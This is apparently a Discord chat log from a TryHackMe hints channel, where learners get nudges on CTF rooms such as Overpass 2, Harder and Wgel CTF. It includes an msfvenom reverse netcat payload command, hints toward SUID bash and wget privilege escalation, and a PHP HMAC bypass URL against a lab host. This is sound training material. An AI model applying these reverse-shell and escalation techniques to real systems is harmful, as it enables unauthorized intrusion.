#

You can use this to research salts https://en.wikipedia.org/wiki/Salt_(cryptography)

limber iron Aug 18, 2020, 12:48 PM

#

Hey, room : Overpass_v2.
I got the pass for [TASK2] #4 and it's correct. is it for user ||james||

trim haven Aug 18, 2020, 12:48 PM

#

The "Hacker" changes the password so none of the passwords from the /etc/passwd file will work

limber iron Aug 18, 2020, 12:49 PM

#

I cracked it with the salt from |||github||| and the last hash he got

trim haven Aug 18, 2020, 12:49 PM

#

Oh so you cracked it?

limber iron Aug 18, 2020, 12:49 PM

#

Yes

#

But doesn't seem to log in ssh

trim haven Aug 18, 2020, 12:49 PM

#

Well the whole of that section is about analysing the backdoor

limber iron Aug 18, 2020, 12:49 PM

#

Maybe specify a certain port ?

trim haven Aug 18, 2020, 12:50 PM

#

Perform your nmap scan again and look for any strange ports

limber iron Aug 18, 2020, 12:50 PM

#

Okay thank you

lucid crescent Aug 18, 2020, 12:54 PM

#

@trim haven salt is ||1c362db832f3f864c8c2fe05f2002a05|| right???

trim haven Aug 18, 2020, 12:55 PM

#

Yup

#

Now put it in the file hash.txt or whatever in the format ||hashfromquestion4:1c362db832f3f864c8c2fe05f2002a05 ||

lucid crescent Aug 18, 2020, 12:55 PM

#

and hash type is ||sha512||??

trim haven Aug 18, 2020, 12:55 PM

#

Are you using kali?

lucid crescent Aug 18, 2020, 12:56 PM

#

yes

trim haven Aug 18, 2020, 12:56 PM

#

In your terminal type hash-identifier then paste the hash when it prompts you to

lucid crescent Aug 18, 2020, 1:00 PM

#

ok cracked

#

thx

limber iron Aug 18, 2020, 1:08 PM

#

@trim haven hey any hints on priv esc after running that ||binary||

trim haven Aug 18, 2020, 1:08 PM

#

ls -lAh ~

limber iron Aug 18, 2020, 1:09 PM

#

??

#

sorry didn't get it ?

final mortar Aug 18, 2020, 1:10 PM

#

Look closely in the home directory @limber iron

#

That's a fancy command 😄 @trim haven

trim haven Aug 18, 2020, 1:10 PM

#

(stole it from James)

limber iron Aug 18, 2020, 1:11 PM

#

@final mortar Hha i am i don't know really what i'm looking at 👀

trim haven Aug 18, 2020, 1:11 PM

#

📎 unknown.png

#

@final mortar Hha i am i don't know really what i'm looking at 👀
@limber iron It shows you hidden files..

limber iron Aug 18, 2020, 1:11 PM

#

Yesss it did

final mortar Aug 18, 2020, 1:12 PM

#

It's not something special tho. -A doesn't list . and .. and -h displays size with units

#

I will stick to ls -la

limber iron Aug 18, 2020, 1:12 PM

#

@final mortar haha me too 😄

final mortar Aug 18, 2020, 1:13 PM

#

So you found something useful ?

limber iron Aug 18, 2020, 1:14 PM

#

Is that ||.suid.bash|| ?

final mortar Aug 18, 2020, 1:14 PM

#

maybe 👀 what do you think

limber iron Aug 18, 2020, 1:15 PM

#

Haha i did run it and i still have no idea on how to escalate to root with it xD

final mortar Aug 18, 2020, 1:16 PM

#

try googling suid and bash together maybe

limber iron Aug 18, 2020, 1:16 PM

#

Okey sure thanks a lot

final mortar Aug 18, 2020, 1:16 PM

#

try gtfo, google, things. do research

cyan token Aug 18, 2020, 1:17 PM

#

Overpass 2, am i going in the right direction || bash 4.4 has a priv esc vulnerability - autocompletion ||?

trim haven Aug 18, 2020, 1:17 PM

#

I mean

limber iron Aug 18, 2020, 1:18 PM

#

Thank you @final mortar got it

trim haven Aug 18, 2020, 1:18 PM

#

Doubt it?

cyan token Aug 18, 2020, 1:18 PM

#

hm

trim haven Aug 18, 2020, 1:18 PM

#

Have you ran ls -lAh ~ in the home directory?

final mortar Aug 18, 2020, 1:18 PM

#

We just discussed that with bvr0n @cyan token fell free to scroll up

cyan token Aug 18, 2020, 1:18 PM

#

i see that heheh

#

I can see that hidden file using the usual ls -la why should i use that?

final mortar Aug 18, 2020, 1:19 PM

#

#room-hints message

#

You can just use ls -la all right

trim haven Aug 18, 2020, 1:20 PM

#

Fancy command is better

final mortar Aug 18, 2020, 1:20 PM

#

xD sure

cyan token Aug 18, 2020, 1:20 PM

#

lol

white salmon Aug 18, 2020, 1:46 PM

#

Hello, i get stucked in root from Looking Glass. Can you give me a little hint pleas? Thanks

patent token Aug 18, 2020, 2:09 PM

#

I apologize. The room is new and hints aren't offered for the first several days of a release.

white salmon Aug 18, 2020, 2:13 PM

#

And for overpass 2?

#

The same

trim haven Aug 18, 2020, 2:14 PM

#

overpass 2 is walkthrough, that doesn't apply to the rule

white salmon Aug 18, 2020, 2:14 PM

#

Is a walkthrough?

#

The sudo password isn't working lmao

trim haven Aug 18, 2020, 2:15 PM

#

sudo password?

white salmon Aug 18, 2020, 2:15 PM

#

In the pcap you find user james password

#

And he has sudo privilegues

trim haven Aug 18, 2020, 2:16 PM

#

All user passwords were changed by the hackers

#

You have to find the ssh password

white salmon Aug 18, 2020, 2:17 PM

#

i forget -p

coarse gull Aug 18, 2020, 2:34 PM

#

hi all... can i ask a little hint on Overpasss2? i completed the TASK2, but i have no idea how to use the backdoor to hack back in....😩

trim haven Aug 18, 2020, 2:34 PM

#

It's an ssh backdoor

#

There's a keyword in the name ;)

coarse gull Aug 18, 2020, 2:37 PM

#

i figured it was not a ssh service... but still have no idea how to use it... in the github is not present instruction/readme about how to use it...

woven mirage Aug 18, 2020, 2:38 PM

#

The backdoor is running in a port, try to discover wich port

coarse gull Aug 18, 2020, 2:38 PM

#

2222 tcp ethernetip-1 open OpenSSH 8.2p1 Debian 4 protocol 2.02222 tcp ethernetip-1 open OpenSSH 8.2p1 Debian 4 protocol 2.0

#

i got this from nmap.... but still can't ssh user@ip:222

#

2222^

woven mirage Aug 18, 2020, 2:40 PM

#

use man ssh

#

to see how to connect to a different port

coarse gull Aug 18, 2020, 2:41 PM

#

ssh: Could not resolve hostname ip:2222: Name or service not known

#

oh ok... i used ip:port... i will look at man

#

thanks

sick sun Aug 18, 2020, 2:45 PM

#

anyone know this cipher text ||hE a dC fH a :: hE a dC fH a hA iJ a eI aD jB cB hH gA a fH fN||

#

?

woven mirage Aug 18, 2020, 2:45 PM

#

you need to figure out the logic

#

try to figure out what words could come from this encoded message so you can discover how to decode it

sick sun Aug 18, 2020, 2:48 PM

#

i dont understand with this ciphertext blobhuh

woven mirage Aug 18, 2020, 2:48 PM

#

this cipher was made by the creator for this box

#

you wont find it on the internet

#

you need to make a script yourself and decode it

sick sun Aug 18, 2020, 2:49 PM

#

pepehands

#

@woven mirage can i PM you

#

need help

woven mirage Aug 18, 2020, 2:50 PM

#

yes

white salmon Aug 18, 2020, 2:52 PM

#

break it task 2 #3 Is there a logical way of solving this?

quartz ruin Aug 18, 2020, 4:12 PM

#

please anyone give me hint python room?

#

my script.py doesn't work

trim haven Aug 18, 2020, 4:16 PM

#

If you're talking about the python coding room, we can't really give you a hint

stuck fractal Aug 18, 2020, 4:20 PM

#

Outermost layers are base16

#

There's your hint

tight tendon Aug 18, 2020, 4:20 PM

#

anyone give me a hint on getting the root.txt on overpass2...how do i execute the function of the py file to get root 😦 ive been stuck for hours

stuck fractal Aug 18, 2020, 4:20 PM

#

@tight tendon There's no python file

tight tendon Aug 18, 2020, 4:21 PM

#

the backdoor file used by the hackers?? 😦

stuck fractal Aug 18, 2020, 4:21 PM

#

ls -lAh ~ and you will see everything you need

#

the backdoor file used by the hackers?? 😦
@tight tendon Not python

tight tendon Aug 18, 2020, 4:21 PM

#

okay i will try thank you 😄

stuck fractal Aug 18, 2020, 4:21 PM

#

Very much not python

tight tendon Aug 18, 2020, 4:21 PM

#

my mistake am still a noob XD

#

cant seem to find a solution 😦

stuck fractal Aug 18, 2020, 4:32 PM

#

There's a rather obviously named file in your home directory

#

You can use that after some research

pastel helm Aug 18, 2020, 4:34 PM

#

So, I'm stuck on Linux Challenges, flag #16. I've tried using findmnt and find commands, but haven't been able to turn anything up. I'm sure I'm missing something simple or I've gone down the wrong rabbit hole trying to find the flag.

stuck fractal Aug 18, 2020, 4:34 PM

#

The hint refers to the location

#

Not so much the method of finding it

pastel helm Aug 18, 2020, 4:36 PM

#

Ok, I'll keep looking around, thanks!

rose elbow Aug 18, 2020, 4:40 PM

#

Hi All, Any hint regarding initial foothold for SET room...

final mortar Aug 18, 2020, 5:55 PM

#

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

What room you are on

At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?

What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

arctic crystal Aug 18, 2020, 6:06 PM

#

Room: Wgel Ctf
I have got the user flag need hint for priv esc
I have tried to transfer file using ||wget|| but it is asking for password even when I'm allowed to run that command without password

final mortar Aug 18, 2020, 6:08 PM

#

Have you tried googling wget privilege escalation

#

gtfo isn't guaranteed to work everytime

arctic crystal Aug 18, 2020, 6:09 PM

#

I wasn't doing it using gtfo

#

I found one article on that priv esc
nvm I got it

#

silly mistake

final mortar Aug 18, 2020, 6:10 PM

#

The first one actually tells you how to do it ^^

arctic crystal Aug 18, 2020, 6:10 PM

#

I was typing /user/bin/wget instead of /usr/* 😅

final mortar Aug 18, 2020, 6:10 PM

#

It's all good, as long are you learned something

eternal brook Aug 18, 2020, 6:28 PM

#

i found an article tried creating my own hash and passed it but i do not get any results any hints on what i'm doing wrong?

📎 Screenshot_from_2020-08-18_23-42-02.png

#

harder room

rose moat Aug 18, 2020, 6:29 PM

#

hi , msfvenom -p cmd/unix/reverse_netcat lhost= "my kali vpn ip address" lport=4444 R

In the telnet session i execute .RUN the result of msfvenom, but nothing happens

eternal brook Aug 18, 2020, 6:29 PM

#

||http://pwd.harder.local/index.php?n[]=&host=hacker.com&h=e86f889ce1872bcb2d54e7145c1a4b4d85ee32fdf4223ac345106a212f70b2bc || here is the link that i used

oblique cliff Aug 18, 2020, 6:30 PM

#

hi , msfvenom -p cmd/unix/reverse_netcat lhost= "my kali vpn ip address" lport=4444 R

In the telnet session i execute .RUN the result of msfvenom, but nothing happens
@rose moat can you show screenshots please?

rose moat Aug 18, 2020, 6:31 PM

#

📎 unknown.png

#

I used nc -lvp 4444 but none

oblique cliff Aug 18, 2020, 6:33 PM

#

hmm i dont see anything wrong

#

did the ping work?

final mortar Aug 18, 2020, 6:34 PM

#

apart from that room being buggy

eternal brook Aug 18, 2020, 6:34 PM

#

harder?

final mortar Aug 18, 2020, 6:34 PM

#

um what ?

oblique cliff Aug 18, 2020, 6:34 PM

#

i dont see the welcome message when you connect, is that the correct port?

rose moat Aug 18, 2020, 6:34 PM

#

ping works but nothing from mkfifo

eternal brook Aug 18, 2020, 6:35 PM

#

ah i thought you were answering my query on harder room

final mortar Aug 18, 2020, 6:35 PM

#

ah I must have missed that

#

where is it

eternal brook Aug 18, 2020, 6:35 PM

#

few scrolls up

final mortar Aug 18, 2020, 6:36 PM

#

I see

eternal brook Aug 18, 2020, 6:36 PM

#

just above zavazkey question

final mortar Aug 18, 2020, 6:36 PM

#

one thing that I can see right away is that you forgot to assign a value to the n[]

eternal brook Aug 18, 2020, 6:36 PM

#

||http://pwd.harder.local/index.php?n[]=&host=hacker.com&h=e86f889ce1872bcb2d54e7145c1a4b4d85ee32fdf4223ac345106a212f70b2bc || here is the link that i used
@eternal brook here's my req

final mortar Aug 18, 2020, 6:36 PM

#

so it's null

eternal brook Aug 18, 2020, 6:37 PM

#

aren't we supposed to assign null array

final mortar Aug 18, 2020, 6:37 PM

#

and as the ||isset|| defines, nothing will happen if n is null

#

https://www.php.net/manual/en/function.isset.php

eternal brook Aug 18, 2020, 6:38 PM

#

?nonce[]=&hostname=securify.nl&hmac=c8ef9458af67da9c9086078ad3acc8ae71713af4e27d35fd8d02d0078f7ca3f5 i coppied this syntax that i saw in a blog

#

https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up this blog seems quite similar...

Securify - We provide reality checks

Spot The Bug challenge 2018 warm-up

Securify provides reality checks to lower security risks and build up resilience against threats. Agile Security, Pentesting (scenario-based) and Red Teaming.

#

oh ok

final mortar Aug 18, 2020, 6:39 PM

#

that works, bust based of a different principal ig

#

if you are referring n, make sure it's not null

eternal brook Aug 18, 2020, 6:40 PM

#

i tried putting value 0,1 still same

#

the login page only pops up

#

i've re ran my vpn rebooted the machine don't know what else to try...

final mortar Aug 18, 2020, 6:41 PM

#

Have you understood what the php script actually does

#

Yeah my b. n array is supposed to be empty

eternal brook Aug 18, 2020, 6:42 PM

#

the index.php calls 2 pages auth and hmac...

#

and there are variables that we can assign given the hmac page...

final mortar Aug 18, 2020, 6:43 PM

#

yeah the articled should work just fine

eternal brook Aug 18, 2020, 6:43 PM

#

i understood the blog and hmac function..

#

yea

final mortar Aug 18, 2020, 6:44 PM

#

but you actually can't use the nonce array

eternal brook Aug 18, 2020, 6:44 PM

#

don't know why is'nt it working

final mortar Aug 18, 2020, 6:44 PM

#

it's referred to as n in this room

eternal brook Aug 18, 2020, 6:44 PM

#

yea i got that

#

i used n only

final mortar Aug 18, 2020, 6:44 PM

#

||/n[]=&host=securify.nl&h=c8ef9458af67da9c9086078ad3acc8ae71713af4e27d35fd8d02d0078f7ca3f5||
doesn't work ?

eternal brook Aug 18, 2020, 6:45 PM

#

i understood the concept i generated my hash using hmac function but still it's not working

#

i'll try 1 sec

#

nope😩

final mortar Aug 18, 2020, 6:46 PM

#

Really

#

Can I have your machine ip

eternal brook Aug 18, 2020, 6:46 PM

#

i've cleared my history too

#

here?

#

or dm?

final mortar Aug 18, 2020, 6:47 PM

#

Here is ok

#

Machine IP

eternal brook Aug 18, 2020, 6:48 PM

#

yea that's my tun0 ip

final mortar Aug 18, 2020, 6:48 PM

#

as in the "deployed " machine ip

#

yea that's my tun0 ip
@eternal brook Yea not that. That's your internal vpn ip

eternal brook Aug 18, 2020, 6:49 PM

#

oh shit my bad

#

10.10.45.150

#

here it is

final mortar Aug 18, 2020, 6:50 PM

#

You get a login page when you visit the ---.harder.local yes ?

eternal brook Aug 18, 2020, 6:50 PM

#

yess

final mortar Aug 18, 2020, 6:50 PM

#

try clicking on remember me, or you haven't figured out the "creds" yet ?

eternal brook Aug 18, 2020, 6:53 PM

#

i get a 404 not found

#

tried both the req yours too and mine too

final mortar Aug 18, 2020, 6:54 PM

#

/n[]=1&host=ros.com&h=73aeb29c6c1c96be662ca4b240afe6bfc950c2f60d6c612e7b4f79a92d662701

#

here try the n[]=1

eternal brook Aug 18, 2020, 6:55 PM

#

tried that

#

thank you so much for your help anyway appreciate it 👍 🙂

final mortar Aug 18, 2020, 6:56 PM

#

that's your machine

#

https://i.imgur.com/DVWZn65.png

Imgur

#

try with the exact same url as I sent you above, all are not same 😉

#

make sure you check the "remember me" checkbox when logging in (that caused issues with my buddy)

eternal brook Aug 18, 2020, 6:57 PM

#

ok alright thank you so much i'll try that too

final mortar Aug 18, 2020, 6:59 PM

#

All right

#

I have to go now, so good luck 👍 🙂

eternal brook Aug 18, 2020, 7:01 PM

#

no issues mann thanks alot 🙂

copper dome Aug 18, 2020, 7:55 PM

#

Hi guys, new user here. Would really appreciate some help. I'm stuck in task 12, #1 in 'The OWASP Top 10'. I'm not sure which webapp it is referring too.

stuck fractal Aug 18, 2020, 7:55 PM

#

The webapp

#

Running on the VM

#

That you deployed for that task

#

Deploy button for it is in task 9

royal venture Aug 18, 2020, 7:57 PM

#

i'm looking at vulnversity, and when running nmap with the ||-O|| flag, to find the most likely OS, all it says is 'no exact OS matches for host', and doesn't tell me what the "most likely" OS is

stuck fractal Aug 18, 2020, 7:58 PM

#

It's asking for the distro

#

In the fingerprint it gives you, the OS is listed in there

#

The distro tends to be in the SSH fingerprint or fingerprint for other services. Try a service version scan

royal venture Aug 18, 2020, 7:59 PM

#

if it meant distro why doesnt it say distro

stuck fractal Aug 18, 2020, 8:00 PM

#

Because no one has changed it yet

royal venture Aug 18, 2020, 8:02 PM

#

nothing i can see in these seems to be the answer

#

nvm, found it

copper dome Aug 18, 2020, 8:06 PM

#

@stuck fractal I've deployed my machine and read through task 10 as well. Is it referring to the example.db?

stuck fractal Aug 18, 2020, 8:06 PM

#

Have a look around the webapp. The developer has left themselves a note indicating that there is sensitive data in a specific directory.

#

The web application

#

The website

copper dome Aug 18, 2020, 8:10 PM

#

Is the website the one mentioned in task 8?

stuck fractal Aug 18, 2020, 8:10 PM

#

The website

#

Is an web application

#

Running on the box that you deployed

copper dome Aug 18, 2020, 8:14 PM

#

When I hit deploy, I get my regular kali desktop screen. Which website?

stuck fractal Aug 18, 2020, 8:14 PM

#

You need to click the deploy button in the room

#

The Kali is for you to use to attack

#

You need to deploy the target machine

#

Have you completed the Welcome room yet?

copper dome Aug 18, 2020, 8:17 PM

#

Yes I have but I'll try again, one moment

#

I opened my trackhackme box and I only get a terminal window

stuck fractal Aug 18, 2020, 8:22 PM

#

The VM that you deploy on my-machine is your attacking machine

#

It is the machine you use to attack other machines

#

You need to deploy that other machine

#

With the deploy button. In task 9.

copper dome Aug 18, 2020, 8:23 PM

#

when I click the deploy in task 9, it says the machine is already running

stuck fractal Aug 18, 2020, 8:23 PM

#

Ok, then the IP address at the top of the page under Active Machine Information is the one that you need

copper dome Aug 18, 2020, 8:26 PM

#

Ok ill try that

#

What i did was typed [MY_IP]/login in firefox to get to the webapp. Its not opening anything. Am I in the right direction?

stuck fractal Aug 18, 2020, 8:31 PM

#

No

#

What machine is running the web server?

copper dome Aug 18, 2020, 8:32 PM

#

😩

royal venture Aug 18, 2020, 8:33 PM

#

why are you typing your ip there, are you the one running the website?

#

also uh

#

📎 unknown.png

#

there is no "sniper" attack type in the payloads tab

#

there is in the positions tab

trim haven Aug 18, 2020, 8:34 PM

#

wut

royal venture Aug 18, 2020, 8:34 PM

#

but if i just set it in there and start the attack after doing everything else, it says i need to do something in payloads, too

#

@trim haven

📎 unknown.png

trim haven Aug 18, 2020, 8:34 PM

#

Click on "payload type"

royal venture Aug 18, 2020, 8:35 PM

#

tried that, there's nothing about "sniper" in there

trim haven Aug 18, 2020, 8:35 PM

#

Strange.

copper dome Aug 18, 2020, 8:35 PM

#

hold on, ive terminated and tried running it again

trim haven Aug 18, 2020, 8:35 PM

#

I can't remember from the last time I used the tool.

royal venture Aug 18, 2020, 8:35 PM

#

@copper dome it is not your ip that the website is running on

#

nvm i think i misunderstood the guide because it ommitted some info

#

...or not, gdi

#

📎 unknown.png

#

📎 unknown.png

#

they're all allowed?

trim haven Aug 18, 2020, 8:38 PM

#

Room?

royal venture Aug 18, 2020, 8:39 PM

#

https://www.tryhackme.com/room/vulnversity

TryHackMe

TryHackMe | Vulnversity

Learn about active recon, web app attacks and privilege escalation.

#

task 4

stuck fractal Aug 18, 2020, 8:39 PM

#

@royal venture Toggle the payload encoding

#

Needs to be off I think

#

Or on. Whatever it isn't now.

royal venture Aug 18, 2020, 8:40 PM

#

still all 200

stuck fractal Aug 18, 2020, 8:40 PM

#

Then you're doing something else wrong

royal venture Aug 18, 2020, 8:40 PM

#

well idk man im following the room exactly

stuck fractal Aug 18, 2020, 8:41 PM

#

And without context, we can't help

royal venture Aug 18, 2020, 8:41 PM

#

you need context, read the room, because i am doing exactly as it says

stuck fractal Aug 18, 2020, 8:41 PM

#

I've completed the room